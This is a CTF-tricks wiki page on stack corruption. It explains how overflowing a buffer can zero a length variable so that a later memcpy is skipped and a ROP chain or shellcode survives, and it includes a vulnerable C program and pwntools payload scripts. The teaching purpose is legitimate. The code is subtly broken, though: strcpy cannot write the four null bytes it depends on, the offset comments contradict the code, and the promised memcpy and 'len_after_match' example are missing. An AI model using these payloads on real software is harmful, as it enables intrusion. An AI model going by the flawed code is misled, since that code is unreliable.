> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-15/buffer-overflow/pwn-buffer-overflow-stack-corruption.md).

# Stack Corruption

## Corrupt Stack Variable To Bypass Memcpy

When exploiting a stack buffer overflow, you can sometimes overwrite local variables stored on the stack before reaching the return address. If one of these variables controls a critical parameter for a subsequent function call, corrupting it can alter the program's flow or behavior.

Consider a simple vulnerable function like this:

```c
#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[100];
    int len = 100; // This variable is stored on the stack after buffer
    strcpy(buffer, input); // This is the overflow
    printf("Copied %d bytes.\n", len); // If len is overwritten, this will print a different value
}

int main() {
    char malicious_input[150];
    memset(malicious_input, 'A', 140);
    malicious_input[140] = 0; // Null terminate
    // Overwrite len (at offset 100 + 4 bytes) with 0
    malicious_input[100] = 0;
    malicious_input[101] = 0;
    malicious_input[102] = 0;
    malicious_input[103] = 0; // Assuming int is 4 bytes

    vulnerable_function(malicious_input);
    return 0;
}
```

In such a scenario, the `len` variable is stored on the stack right after the `buffer`. A function like `strcpy` does not check bounds, so providing an `input` larger than 100 bytes will overflow `buffer` and overwrite `len`. By overwriting `len` with 0, you can potentially control the size argument of a subsequent copy operation if `len` were used for that.

A common target is a variable that determines the size parameter of a `memcpy` or similar copy function. By overwriting this variable with zero, the copy operation is effectively bypassed, doing nothing. This can be useful to prevent unwanted data corruption, skip data validation checks, or protect data you've placed on the stack (like ROP gadgets) from being overwritten by a later copy.

Identify the offset from your buffer to the target variable on the stack. If the variable is a 4-byte integer (like `len_after_match` in one example, located 8 bytes before the return address), write null bytes (zero) at that offset in your payload.

Using a tool like `pwntools`, crafting the payload to achieve this overwrite is straightforward. For the example above where `len` is immediately after the 100-byte buffer:

```python
from pwn import *

# Assuming the program is compiled and running locally
p = process('./your_vulnerable_program') # Replace with your program name

buffer_size = 100
len_offset = 0 # len is right after buffer

payload = b'A' * buffer_size
payload += p32(0) # Overwrite len with 0 (assuming 32-bit int)

p.sendline(payload)
p.interactive()
```

Assuming 'offset\_to\_len\_var' is the distance from your buffer start to the variable controlling memcpy size:

```python
# Assuming 'offset_to_len_var' is the distance from your buffer start
# to the variable controlling memcpy size.
# Use p32(0) for a 32-bit integer, p64(0) for a 64-bit integer.
payload_prefix = b"A" * offset_to_len_var + p32(0)
```

Append the rest of your desired payload (e.g., ROP chain, shellcode) after this zero overwrite. The `memcpy` will then attempt to copy 0 bytes, leaving the subsequent data untouched.